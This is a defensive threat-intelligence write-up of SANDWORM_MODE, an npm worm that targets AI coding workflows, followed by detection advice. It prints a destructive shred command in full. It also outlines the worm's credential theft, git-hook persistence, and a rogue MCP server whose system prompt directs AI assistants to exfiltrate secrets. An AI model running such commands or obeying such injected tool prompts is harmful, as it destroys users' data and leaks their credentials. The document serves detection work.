Detecting SANDWORM_MODE and AI Toolchain Supply Chain Attacks

Summary

In February 2026 Socket.dev disclosed SANDWORM_MODE, a multi-stage npm supply chain worm spanning 19 malicious packages across two publisher aliases that specifically targets AI-augmented development workflows, including AI coding assistants, CI automation, and LLM toolchains. CrowdStrike published this analysis on July 21, 2026 describing the infection chain and its detection engineering response.^[0]

The worm operates in three stages: an obfuscated loader that unpacks at runtime, an initial reconnaissance and credential-harvest stage, and a full capability suite that propagates through npm tokens, GitHub API tokens, and SSH; establishes persistence via git template hooks; compromises AI assistant configurations through a rogue MCP server; harvests credentials and LLM provider keys; exfiltrates over multiple channels; and carries a destructive dead-switch fallback.^[0]

CrowdStrike characterizes the central defensive challenge as 'living off the AI toolchain': the worm's actions are functionally indistinguishable from legitimate AI assistant and CI/CD pipeline behavior, so of 14 investigated behaviors only 9 produced any signal and only 2 met the fidelity bar for customer-visible alerting.^[0]

Attack chain

1. Stage 0 - Obfuscated loader: The initial payload uses multi-layer encoding (Base64 decode, zlib inflate, XOR decryption) and indirect eval()/Module._compile() calls triggered on package import. It contains no overtly malicious logic and unpacks the payload at runtime to bypass static analysis performed at publish time.^[0]
2. Stage 1 - Reconnaissance and quick harvest: On activation the loader fingerprints the runtime to distinguish a developer workstation from a CI runner, extracts .npmrc tokens, environment variables matching KEY/SECRET/TOKEN/PASSWORD patterns, and cryptocurrency wallet keys, and immediately POSTs harvested crypto keys to an attacker-controlled Cloudflare Worker endpoint. A 48-96 hour time bomb gates Stage 2 on workstations, while CI environments trigger immediately.^[0]
3. Stage 2 - Full capability unpack: After the gate clears, AES-256-GCM decryption unpacks the full payload into /dev/shm, executes it via require(), then immediately unlinks the file, leaving no on-disk forensic artifacts in a manner analogous to reflective loading in the Node.js runtime.^[0]
4. Propagation: The worm spreads through three vectors: stolen npm tokens (whoami, enumerate account packages, inject the Stage 0 shim, npm publish); GitHub API tokens (enumerate repos, inject a carrier dependency, commit/open PR, and inject a pull_request_target workflow that runs in the base repo context to bypass fork isolation); and an SSH fallback (ssh -T git@github.com, clone, inject, push).^[0]
5. Persistence: The worm writes malicious pre-commit and pre-push hooks to ~/.git-templates/hooks/ and sets git config --global init.templateDir to that directory, so every future git init or git clone inherits the infected hooks.^[0]
6. AI toolchain compromise: The worm deploys a rogue MCP server to a hidden directory (e.g., ~/.dev-utils/server.js) with a randomized name, registers it as a trusted tool provider in Claude Desktop, Cursor, VSCode, and Windsurf configs, and uses a system prompt instructing AI assistants to silently read and exfiltrate SSH keys, AWS credentials, npm tokens, and secrets. It also harvests API keys for nine LLM providers from environment variables and .env files.^[0]
7. Data harvesting and exfiltration: The worm targets password manager CLIs (bw, op, lpass) and local SQLite stores (Apple Notes, Messages, Joplin, clipboard history), then exfiltrates via HTTPS POST to attacker infrastructure, mirrors to attacker-controlled GitHub private repositories, and uses Base32 DNS tunneling with a domain generation algorithm fallback as a last resort.^[0]
8. Destructive fallback: If both propagation and exfiltration simultaneously fail, a dead switch runs 'find ~ -type f -writable -user $USER -print0 | xargs -0 shred -uvz -n 1' to destroy all writable user files.^[0]

Disclosure timeline

How it works

SANDWORM_MODE is not a software vulnerability but a supply chain worm that abuses legitimate trust relationships and runtime behaviors. Its evasion rests on runtime unpacking (multi-layer encoding decoded only on import, defeating publish-time static scanners), environment-aware timing (a 48-96 hour delay on workstations versus immediate execution in ephemeral CI), fileless Stage 2 execution in /dev/shm followed by immediate unlink, and propagation logic (npm publish, git commits/PRs, pushes) that is functionally identical to legitimate release automation.^[0]

The GitHub propagation vector injects a pull_request_target workflow that executes in the context of the base repository, deliberately bypassing fork-based isolation. Persistence abuses git's init.templateDir so infected hooks propagate to every new repository the developer initializes or clones.^[0]

Affected versions and patch status

Indicators of Compromise

Key takeaways

• The viable detection surface is smaller than the attack surface: of 14 investigated behaviors only 9 produced any signal and only 2 met the fidelity bar for customer-visible alerting, reflecting where deterministic signal actually exists.^[0]
• The time-bomb design exploits ephemeral telemetry retention, separating the package-import event from the malicious behavior by 48-96 hours and undermining install-to-behavior correlation.^[0]
• AI toolchain behaviors need dedicated baselines; 'living off the AI toolchain' means adversaries hide in the arbitrary, user-directed operations that AI coding assistants and CI/CD pipelines are designed to perform, a structural challenge signatures alone cannot close.^[0]
• SANDWORM_MODE is best understood as a proof of concept for an emerging attack class targeting trust relationships in AI-augmented workflows, not just the packages themselves.^[0]

Defensive actions

• Build dedicated behavioral baselines for AI toolchain activity, including MCP server deployments, AI assistant configuration writes, and LLM API key usage.: Without knowing what normal looks like for these new telemetry classes, there is no foundation for anomaly-based detection, since worm behavior is otherwise indistinguishable from legitimate AI tooling health checks and operations.^[0]
• Prioritize detections built on process-tree ancestry combined with narrowly scoped target specificity (e.g., a node.js parent process acting against paths or commands with constrained legitimate use).: CrowdStrike found these were the only patterns that achieved production fidelity because they provided sufficient signal-to-noise separation against high-volume legitimate git and registry operations.^[0]
• Account for the 48-96 hour time-bomb delay when designing correlation rules that link package install events to later suspicious behavior.: The delay places the import event and the malicious behavior in different telemetry windows, a temporal gap that may exceed retention periods and defeat install-to-behavior correlation.^[0]
• Scrutinize git template hook configuration and init.templateDir settings, and monitor for rogue MCP server registrations in AI assistant configs.: These are the worm's persistence and AI-toolchain compromise mechanisms, allowing propagation to every future repository and silent secret exfiltration through the AI tool interface.^[0]